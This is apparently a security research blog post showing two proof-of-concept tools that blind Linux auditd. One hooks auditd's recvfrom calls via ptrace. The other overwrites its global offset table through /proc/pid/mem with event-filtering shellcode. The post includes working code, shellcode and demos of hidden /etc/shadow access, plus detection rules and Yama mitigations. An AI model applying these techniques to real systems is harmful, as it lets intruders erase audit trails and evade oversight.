Blindsiding auditd for Fun and Profit
The Linux audit framework provides a powerful audit system for monitoring security relevant events on Linux operating systems. In this blogpost, we demonstrate some attacks on its userspace component auditd with the goal to tamper with audit events to hide malicious activity. We also released two PoCs called daphne and apollon that demonstrate different techniques to tamper with audit events.
Background
Over the last couple of years, monitoring and endpoint protection solutions have developed rapidly. Especially for Windows operating systems there is a wide range of available products that are commonly used in larger organizations. Whereas endpoint protection and extensive monitoring have become the default on Windows workstations and servers, their Linux counterparts are usually less protected, even though Linux provides great telemetry for free by using the Linux audit framework.
On most Linux distributions, the Linux audit framework can be installed via a package manager. On Fedora for example, the following commands can be used:
[user@host ~]$ sudo dnf install audit
[user@host ~]$ sudo systemctl enable auditd
[user@host ~]$ sudo systemctl start auditd
The default installation of the audit framework provides only a minimal rule set. To get a reasonable starting point, the auditd rule set of Florian Roth can be used:
[user@host ~]$ wget 'https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules'
[user@host ~]$ sudo mv audit.rules /etc/audit/rules.d/audit.rules
[user@host ~]$ sudo systemctl kill auditd
[user@host ~]$ sudo systemctl start auditd
After restarting the auditd daemon, fine grained logging of events can be found within the
auditd log file at /var/log/auditd/audit.log
. The following example shows the attempt of a regular
user to read the contents of the /etc/shadow
file:
type=SYSCALL msg=audit(1690783519.928:929): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7fffd0dd98f0 a2=80000 a3=0 items=1 ppid=1160 pid=1184 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690783519.928:929): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690783519.928:929): proctitle=626174002D70002F6574632F736861646F77
In the log format of auditd all log entries are separated by newlines,
but multiple lines can still belong to the same event. In the example above, all three lines belong to the
same event with event ID 929
. Moreover, auditd uses hex encoding for some types of messages.
To group connected auditd events and to convert them into a SIEM friendly format, the laurel plugin can be used. laurel is a post processing tool for auditd events that generates JSON output from auditd events. Connected events are grouped together, encoded values are decoded and some other enrichment is applied. Using laurel, the event shown above looks like this:
{
"ID": "1690783519.928:929",
"SYSCALL": {
"arch": "0xc000003e",
"syscall": 257,
"success": "no",
"exit": -13,
"items": 1,
"ppid": 1160,
"pid": 1184,
"auid": 4294967295,
"uid": 1000,
"gid": 1000,
"euid": 1000,
"suid": 1000,
"fsuid": 1000,
"egid": 1000,
"sgid": 1000,
"fsgid": 1000,
"tty": "pts2",
"ses": 4294967295,
"comm": "bat",
"exe": "/usr/bin/bat",
"key": "etcpasswd",
"ARCH": "x86_64",
"SYSCALL": "openat",
"AUID": "unset",
"UID": "user",
"GID": "user",
"EUID": "user",
"SUID": "user",
"FSUID": "user",
"EGID": "user",
"SGID": "user",
"FSGID": "user",
"ARGV": [
"0xffffff9c",
"0x7fffd0dd98f0",
"0x80000",
"0x0"
],
"PPID": {
"EVENT_ID": "1690783437.445:909",
"comm": "bash",
"exe": "/usr/bin/bash",
"ppid": 1149
}
},
"PATH": [
{
"item": 0,
"name": "/etc/shadow",
"inode": 270575,
"dev": "ca:03",
"mode": "0o100000",
"ouid": 0,
"ogid": 0,
"rdev": "00:00",
"nametype": "NORMAL",
"cap_fp": "0x0",
"cap_fi": "0x0",
"cap_fe": 0,
"cap_fver": "0x0",
"cap_frootid": "0",
"OUID": "root",
"OGID": "root"
}
],
"PROCTITLE": {
"ARGV": [
"bat",
"-p",
"/etc/shadow"
]
}
}
As with every detection and monitoring solution, there is no correct usage of auditd. The above configuration provides a good starting point to get some telemetry. Fine tuning, custom configuration and monitoring collected logs for malicious activity needs to be done manually.
Attack Surface of the Audit System
One of the main advantages of the Linux audit system is that its telemetry is generated at kernel level. The auditd daemon utilizes netlink to obtain events directly from the audit kernel module. The event generation (audit kernel module) as well as the event processing (auditd daemon) are therefore always privilege separated from low privileged user processes. Tampering with events from a regular user context is therefore not that promising.
From a high privileged context however, it is possible to tamper with the userspace component of the audit system, which is the auditd daemon. The goal of this tampering is to suppress events that indicate malicious behavior. Simply stopping the daemon or modifying its rule set is not desirable, as this creates additional events that should be monitored for in each reasonable auditd configuration.
During our research, we experimented with two different approaches and created a PoC for both of them. In the following, a brief summary for both PoCs is provided, followed by a deeper technical analysis in the further sections:
daphne
- Uses ptrace to attach to the auditd process
- Intercepts the
recvfrom
system call and inspects the returned buffer - Clears or replaces certain keywords on their appearance within the buffer
- Returns the tampered syscall result to auditd
apollon
- Uses
/proc/PID/mem
and/proc/PID/maps
to tamper with the integrity of the auditd process - Searches for an unused executable memory region within the auditd process to house shellcode (code cave)
- Injects event filtering shellcode into the code cave within the auditd process
- Replaces the
recvfrom
entry in the global offset table of auditd with a pointer to the shellcode
daphne - Technical Details
ptrace is a well known system call that allows one process to monitor and control the execution of another
process. This involves reading and writing process memory, inspecting and changing CPU registers and
intercepting system calls. With these powerful capabilities, ptrace is a suitable tool to tamper with auditd
events. As already mentioned, auditd uses the recvfrom
system call to obtain events from the kernel via
netlink. daphne uses ptrace to attach to auditd and intercept this system call:
ptrace(PTRACE_ATTACH, atoi(argv[1]), 0, 0);
printf("[+] Attached to process: %d\n", PID);
ptrace(PTRACE_SETOPTIONS, PID, 0, (void*)PTRACE_O_TRACECLONE);
ptrace(PTRACE_SETOPTIONS, PID, 0, (void*)PTRACE_O_TRACESYSGOOD);
printf("[+] Configured ptrace correctly.\n");
printf("[+] Starting ptrace event loop.\n");
bool keep_filtering = false;
struct user_regs_struct regs;
for (;;)
{
if (!ptrace_wait_syscall(PID))
{
printf("[+] The monitored process exited.\n");
break;
}
// At this stage, the syscall did not execute yet.
if (!ptrace_wait_syscall(PID))
{
printf("[+] The monitored process exited.\n");
break;
}
// At this stage, the syscall was executed.
// The results are contained within the corresponding registers:
//
// rdi: File descriptor that was read from
// rsi: Buffer the data was stored in
// rdx: Size of the buffer pointed to by rsi
// r10: Flags
// r8: struct sockaddr
// r9: addr_len
//
// rax: number of bytes that were read
ptrace(PTRACE_GETREGS, PID, 0, ®s);
if (regs.orig_rax == SYS_recvfrom && (int)regs.rax > 0)
{
// do tampering in buffer pointed to by regs.rsi
}
}
To tamper with auditd events, it is required to understand the format in which these events are emitted by the kernel. The following listing shows some examples for raw event messages that are obtained by auditd from the netlink:
201001450000000000617564697428313639303238383431352e3132303a3836383235293a20617263683d63303030303033652073797363616c6c3d353920737563636573733d79657320657869743d302061303d3539336535393465633533302061313d3539336535393465633631302061323d3539336535393465353366302061333d38206974656d733d3220707069643d31303435207069643d3132333920617569643d34323934393637323935207569643d30206769643d3020657569643d3020737569643d302066737569643d3020656769643d3020736769643d302066736769643d30207474793d70747331207365733d3432393439363732393520636f6d6d3d22696422206578653d222f7573722f62696e2f696422206b65793d227265636f6e22
2b0001d50000000000617564697428313639303238383431352e3132303a3836383235293a20617267633d312061303d22696422
b70001650000000000617564697428313639303238383431352e3132303a3836383235293a206974656d3d30206e616d653d222f7573722f62696e2f69642220696e6f64653d313338323534206465763d63613a3033206d6f64653d30313030373535206f7569643d30206f6769643d3020726465763d30303a3030206e616d65747970653d4e4f524d414c206361705f66703d30206361705f66693d30206361705f66653d30206361705f667665723d30206361705f66726f6f7469643d30
c70001650000000000617564697428313639303238383431352e3132303a3836383235293a206974656d3d31206e616d653d222f6c696236342f6c642d6c696e75782d7838362d36342e736f2e322220696e6f64653d313335363030206465763d63613a3033206d6f64653d30313030373535206f7569643d30206f6769643d3020726465763d30303a3030206e616d65747970653d4e4f524d414c206361705f66703d30206361705f66693d30206361705f66653d30206361705f667665723d30206361705f66726f6f7469643d30
2b0002f50000000000617564697428313639303238383431352e3132303a3836383235293a2070726f637469746c653d22696422
1d0002850000000000617564697428313639303238383431352e3132303a3836383235293a20
To understand this format, we take a look at the auditd source code, which is publicly available at GitHub. The corresponding structures can be found within the libaudit.h header file:
// defined in libaudit.h
struct audit_message
{
struct nlmsghdr nlh;
char data[MAX_AUDIT_MESSAGE_LENGTH];
};
// defined in netlink.h
struct nlmsghdr
{
__u32 nlmsg_len;
__u16 nlmsg_type;
__u16 nlmsg_flags;
__u32 nlmsg_seq;
__u32 nlmsg_pid;
};
With regard to the output shown above, the relevant takeaways from these structures are:
- The first four bytes represent the length of the message
- The next two bytes represent the message type
- The actual audit message begins 16 bytes from the start of the buffer
A list of possible message types can be found within the audit.h
header file. Two prominent examples include AUDIT_EXECVE
with a numerical
value of 1309
(0x51d
), that is used for logging execve
syscall events
and AUDIT_EOE
with a numerical value of 1320
(0x528
), which is used to
end a multi record event.
Tampering with auditd messages is now simple:
- Skip the first 16 bytes of the result buffer
- Check for suspicious strings within the payload buffer
- Replace suspicious strings or remove the whole message
- Continue execution
That being said, there are some pitfalls. As already demonstrated, there are usually multiple
messages belonging to the same event. Each recvfrom
call only obtains one of these messages.
Just matching for suspicious strings to hide may replace single messages of the event,
while others still pass. This creates odd-looking events that are detected easily.
daphne solves this issue by looking also at the event IDs after the first event message has been filtered. For all following events, their event ID is compared against the filtered event ID. If they match, these events are filtered as well. However, if the filtering rule does not apply to the first message within an event group, these events are still forwarded until the matching event message is reached. Therefore, the filter pattern should preferably be one of the first messages within an auditd event group.
Demo
The following listing shows an example invocation of daphne. 427
is the process ID of auditd,
whereas 1476
is the process ID of a bash shell we want to exclude from monitoring:
[user@host daphne]$ sudo ./dist/daphne-x64 427 1476
[+] Attached to process: 427
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
After starting daphne, we attempt to access the file /etc/shadow
. First, from a regular
bash shell, then from our hidden shell and then again from the regular one. The following
events can be observed within the auditd log:
type=SYSCALL msg=audit(1690784006.115:1296): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffdf2d506b0 a2=80000 a3=0 items=1 ppid=1438 pid=1537 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784006.115:1296): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784006.115:1296): proctitle=626174002D70002F6574632F736861646F77
type=SYSCALL msg=audit(1690784012.792:1298): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffc34413f90 a2=80000 a3=0 items=1 ppid=1438 pid=1545 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784012.792:1298): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784012.792:1298): proctitle=626174002D70002F6574632F736861646F77
As can be seen, only two events are logged (event ID 1296
and 1298
). One event with event
ID 1297
seems to be missing. This is exactly the event that was cleared by daphne. Instead
of dropping events, daphne can also tamper the event messages by performing replace operations.
In the following example, the string /etc/shadow
is replaced with /etc/no_shadow
within every
audit event:
[root@host daphne]# ./dist/daphne-x64 427 /etc/shadow /etc/no_shadow
[+] Attached to process: 427
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/no_shadow'.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/no_shadow'.
[+] Intercepted SYS_RECVFROM call.
After starting daphne, we attempt to access /etc/shadow
again and obtain the following
log entries:
type=SYSCALL msg=audit(1690784393.787:1334): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffc87379740 a2=80000 a3=0 items=1 ppid=1476 pid=1566 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784393.787:1334): item=0 name="/etc/no_shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784393.787:1334): proctitle=626174002D70002F6574632F6E6F5F736861646F77
Detection
If you reproduce the demonstration above with the auditd configuration that was suggested at the beginning of this post, you might get surprised. This auditd rule set monitors ptrace usage and therefore detects daphne. The following listing shows the corresponding auditd rules:
## Injection
### These rules watch for code injection by the ptrace facility.
### This could indicate someone trying to do something bad or just debugging
-a always,exit -F arch=b32 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b32 -S ptrace -k tracing
-a always,exit -F arch=b64 -S ptrace -k tracing
In theory, daphne can filter the resulting events from these rules, but since daphne keeps tracing auditd while running, these rules create a ton of events that cause a noticeable system slowdown. The auditd event queue is flooded with ptrace events and regular events are processed with a noticeable time delay.
Within the auditd logs, the only visible daphne related event is an OBJ_PID
event that records a signal being send to auditd:
type=OBJ_PID msg=audit(1690785691.461:645395): opid=427 oauid=-1 ouid=0 oses=-1 ocomm="auditd"OAUID="unset" OUID="root"
When daphne is used to drop certain events completely, it can also be detected by the missing event IDs. As demonstrated above, each event has a unique event ID that increments for each emitted event. If some event IDs are missing, this can be another indicator for tampering.
Additionally, monitoring error messages of the auditd daemon can be beneficial. As discussed above daphne drops events by clearing the netlink output buffer. This leads to an error message when the buffer is processed by auditd:
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Obviously, traces like missing event IDs or auditd error messages can be prevented by adopting daphne to create dummy events instead of dropping them. Therefore, using these indicators to detect tampering is not reliable.
The preferred method for preventing ptrace related attacks is to disable ptrace usage. The Yama security module is one way to achieve this. The following listing demonstrates how to prevent usage of ptrace on supported Linux versions:
[root@host ~]# echo -n 3 > /proc/sys/kernel/yama/ptrace_scope
However, disabling ptrace globally can influence other applications like EDR solutions that use it for memory scanning. Another solution could be to write a custom security module that only disallows tracing for critical processes like auditd or laurel.
apollon - Technical Details
After implementing daphne we thought about other solutions for blindsiding auditd
that do not continuously trigger ptrace logging. Our colleague Sebastian Feldmann,
author of our Sysmon evasion tool SysmonEnte,
asked whether we cannot write /proc/PID/mem
to patch the auditd process.
My initial thought was that it cannot be that easy, but to my surprise, it is!
proc is a pseudo-filesystem for
interfacing with the Linux kernel. It can be used to obtain process and system information,
with some paths even being writable to allow modifying process or system properties.
/proc/pid/mem
in particular allows access to mapped memory pages of a process and even
though the manual only describes access through open
, read
and lseek
, the path is also
writable and allows patching process memory.
Now we knew that we can patch auditd process memory via /proc/pid/mem
. But where
should we patch? If you ever played binary CTF challenges, you probably know that
writing the global offset table (GOT) is a good way to change the control flow of
a program. The GOT resides in the .data
section of a program and contains
pointers to functions loaded from shared libraries. Each time a program calls a method
from a shared library, the pointer contained in the GOT is followed, which makes
it suitable for hijacking control flow. That being said, binary exploitation mitigations
have improved and modern applications often utilize a protection mechanism called
Relocation Read-Only (RELRO) that marks the memory sections that contain the GOT
non writable.
Surprisingly, the proc pseudo-filesystem does not care at all. There is a great
blog post by
Mark Mossberg explaining why the kernel does not
care about page permissions when writing to /proc/pid/mem
. This bypasses the
RELRO protected memory sections of auditd and even allows to patch its executable memory itself,
which will be required in the next step.
A suitable target for patching the GOT is the address of recvfrom
within libc.
This function is utilized within libaudit.so
to read events from the kernel via
netlink. By replacing the function pointer to recvfrom
within the GOT of
libaudit.so
with a pointer to an event filtering version of recvfrom
, auditd
can be blindsided again. But where to find an event filtering version of recvfrom
?
Obviously, a function that behaves similar to recvfrom
, but filters certain events
cannot be found within the address space of the auditd process. Instead, it is required
to write some event filtering shellcode, inject it into the auditd process and replace
the recvfrom
pointer within the GOT of libaudit.so
with a pointer to it. Since
/proc/pid/mem
does not care about page permissions, finding an unused executable
area (code cave) of memory is not difficult.
The difficulty of creating the event filtering shellcode depends
on what kind of event filtering should be achieved. The following assembly demonstrates a simple
variant, where all events are filtered by returning a length of zero as the result of the
recvfrom
call:
BITS 64
PUSH R12
MOV R12,0xfffffffffffa
CALL R12
MOV RAX,0x00
POP R12
RET
The value 0xfffffffffffa
is a placeholder that gets replaced with the libc address of
recvfrom
when the shellcode gets injected by apollon. A more dedicated shellcode example
is filter-selective.asm,
that drops events selectively. The following C
code was used as a template to create the
shellcode:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
/*
* hook function for intercepting recvfrom calls. This function performs
* the syscall and inspects the returned bytes. If the specified sequence
* is found within the returned bytes, recvfrom is called again until a
* new event is obtained that does no longer match the pattern.
*/
ssize_t hook_func(int sockfd, char* buf, size_t len, int flags, struct sockaddr* src_addr, socklen_t* addrlen)
{
/*
* Receive the next audit event message from netlink.
*/
ssize_t length = recvfrom(sockfd, buf, len, flags, src_addr, addrlen);
/*
* Now we go to the audit_message (buf + 16) and check whether it contains the desired
* pattern. The example pattern from here needs to be replaced in the generated
* assembly. This can be done dynamically. apollon replaces the pattern 0xffffffffff01
* with a pointer to the second command line argument.
*/
while (strstr(buf + 16, "pid=1337"))
{
/*
* Since a single event is usually scattered around multiple event messages, we
* need to obtain the event ID (buf + 37) and filter all proceeding event messages
* that belong to the same event.
*/
unsigned int curr_event = 0;
unsigned int filter_event = strtoul(buf + 37, NULL, 0);
/*
* Request new events until the received event ID does no longer match the filtered
* event ID. If this is the case, simply continue with the outer loop, as the new event
* could match the filter again.
*/
do
{
length = recvfrom(sockfd, buf, len, flags, src_addr, addrlen);
curr_event = strtoul(buf + 37, NULL, 0);
}
while (curr_event == filter_event);
}
return length;
}
Summarized, apollon performs the following operations to blindside auditd:
- Use
/proc/pid/maps
to find the data segment oflibaudit.so
within the auditd process - Use
/proc/pid/maps
to find the text segment oflibc.so
within the auditd process - Determine the offset of
recvfrom
inlibc.so
and calculate its position within the auditd process - Search the data segment of
libaudit.so
for a reference torecvfrom
- Find a code cave within the auditd process that is large enough to house the event filtering shellcode
- Write the event filtering shellcode to the code cave
- Replace the
recvfrom
reference within the GOT oflibaudit.so
with the code cave address
After auditd was patched, all events pass the event filtering shellcode first before being processed by auditd.
Demo
The following listing shows an example invocation of apollon. 427
is the process ID of auditd,
whereas 1059
is the process ID of a bash shell that we want to exclude from monitoring:
[root@auditd apollon]# ./apollon-selective-x64 427 1059
[+] Found data segment of 427 at 0x79edb1a33000
[+] Found libc base address of 427 at 0x79edb1703000
[+] Found offset of 'recvfrom' in libc at e7cc0
[+] Searching for pattern 0x79edb17eacc0 in data segment of 427
[+] Data segment is 2000 bytes long.
[+] Found 'recvfrom' in 427 at 0x79edb1a33ea0
[+] Preparing shellcode...
[+] Replaced 2 occurences of recvfrom.
[+] Found strstr in 427 at 0x79edb178fa30
[+] Replaced 1 occurences of strstr.
[+] Found strtoul in 427 at 0x79edb17299c0
[+] Replaced 2 occurences of strtoul.
[+] Found code cave for pattern matching in 427 at 0x5d2c00b162ad
[+] Wrtiting '1059' to codecave.
[+] Replaced 1 occurences of matcher pattern.
[+] Searching codecave for 264 byte shellcode...
[+] Found code cave in 427 at 0x5d2c00b2eaf1
[+] Wrtiting shellcode to codecave.
[+] Replacing 'recvfrom' GOT entry with shellcode addr.
[+] auditd patched successfully.
After patching auditd, we accessed the /etc/shadow
file, first from a shell with
process ID 1022
, then within our evaded shell with process ID 1059
and afterwards
again with PID 1022
. Here is the result from the auditd log file:
type=SYSCALL msg=audit(1690788664.304:980): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffe5e584772 a2=0 a3=0 items=1 ppid=1022 pid=1226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690788664.304:980): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690788664.304:980): proctitle=636174002F6574632F736861646F77
type=SYSCALL msg=audit(1690788671.579:982): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc22a71772 a2=0 a3=0 items=1 ppid=1022 pid=1228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690788671.579:982): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690788671.579:982): proctitle=636174002F6574632F736861646F77
Once again, the event 981
caused by the shadow access from PID 1059
is not logged. Patching of auditd was successful. Using more dedicated shellcode
it would be possible to replace suspicious strings, to hide the missing event
IDs or to perform other evasion types.
Detection
In contrast to daphne, the demonstration above shows the auditd logs with
ptrace logging enabled. No tricks. No double bottom. Even using the full auditd
configuration mentioned above does not create a single event when executing apollon.
So how can process injection via /proc/pid/mem
be detected?
An attempt would be to use auditd file system rules to detect write access
to /proc/PID/mem
of the auditd process. However, as it turns out, this is not
easy. To the best of our knowledge, it is not possible to define dynamic rules within
auditd rule files. Also, wildcards are not supported. Hence, the following rules are
not working:
-w /proc/$pid/mem -p wa -k process-injection # does not work since no variable support
-w /proc/*/mem -p wa -k process-injection # does not work since no wildcard support
That being said, rules can be created dynamically using auditctl
.
The following listing shows an example of a modified systemd auditd unit file that
dynamically adds a file system rule for /proc/pid/mem
of the auditd process:
[Service]
Type=forking
PIDFile=/run/auditd.pid
ExecStart=/sbin/auditd
## To not use augenrules, copy this file to /etc/systemd/system/auditd.service
## and comment/delete the next line and uncomment the auditctl line.
## NOTE: augenrules expect any rules to be added to /etc/audit/rules.d/
ExecStartPost=-/sbin/augenrules --load
ExecStartPost=/bin/bash -c "auditctl -w /proc/$(cat /run/auditd.pid)/mem -k process-injection"
After applying this configuration and restarting the auditd daemon, apollon is detected by the file system rule:
type=SYSCALL msg=audit(1690793788.842:4517): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffdc935c0c0 a2=2 a3=0 items=1 ppid=1281 pid=1518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 comm="apollon-selecti" exe="/home/user/apollon/apollon-selective-x64" key="process-injection"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690793788.842:4517): item=0 name="/proc/1492/mem" inode=22345 dev=00:13 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690793788.842:4517): proctitle=2E2F61706F6C6C6F6E2D73656C6563746976652D7836340031343932006461646161
As shown, dynamically adding monitoring for the /proc/pid/mem
path of important processes
can detect process injection attempts. But we can do even better! Remember the
Yama security module
mentioned above when discussing the detection of daphne? It also affects /proc/pid/mem
!
The following listing shows the relevant quote from the proc manual:
Permission to access this file is governed by a ptrace access mode
PTRACE_MODE_ATTACH_FSCREDS
check; see ptrace(2).
In fact, ptrace
is not the only operation that requires ptrace access mode permissions.
Many parts of the /proc/pid
directory are subject to such ptrace access checks that are
performed by security modules like Yama. Denying ptrace by using a restrictive ptrace_scope
configuration prevents apollon from accessing auditd process memory via /proc/pid/mem
:
[root@host ~]# echo -n 3 > /proc/sys/kernel/yama/ptrace_scope
[root@host ~]# ./apollon-selective-x64 1547 1059
[+] Found data segment of 1547 at 0x79edb37b8000
[+] Found libc base address of 1547 at 0x79edb3488000
[+] Found offset of 'recvfrom' in libc at e7cc0
[+] Searching for pattern 0x79edb356fcc0 in data segment of 1547
[+] Data segment is 2000 bytes long.
[-] Function 'recvfrom' was not found in GOT of 1547.
apollon failed to find the recvfrom
pointer within the GOT of
libaudit.so
, as reading auditd process memory via /proc/pid/mem
was not possible.
All previous address reads affected /proc/pid/maps
, which is still allowed as it only
requires PTRACE_MODE_READ_FSCREDS
.
Some of the detection mechanisms for daphne mentioned above can be used for detecting apollon. Missing event IDs and auditd error messages can also be observed when dropping events using injected shellcode. However, these detection methods are obviously not reliable, as they can be bypassed by using more dedicated shellcode.
Conclusion
In this blog we demonstrated two different methods for tampering with event logs
generated by auditd. While the ptrace based technique was well covered by the
auditd rule set mentioned above, /proc/pid/mem
based injections stayed
undetected. It is therefore recommended to implement additional measures to protect
critical processes like auditd or laurel.
We showed that dynamically created auditd rules can be used to monitor the
/proc/pid/mem
path and to detect possible process injections attempts. As access
to this path is rather uncommon, such a detection should cause a low
amount of false positives. However, this might differ depending on the installed
software. Especially EDR applications that perform memory scanning might use this
path for legitimate purpose.
If possible, it is recommended to restrict ptrace access completely, especially on production systems. This can be achieved for all processes by utilizing already existing security modules like Yama or by writing a custom module, that only protects specific processes like auditd, laurel or log forwarding agents.
References
- https://github.com/linux-audit
- https://man7.org/linux/man-pages/man2/ptrace.2.html
- https://man7.org/linux/man-pages/man5/proc.5.html
- https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/
- https://lwn.net/Articles/692203/
- https://www.kernel.org/doc/html/v4.15/admin-guide/LSM/Yama.html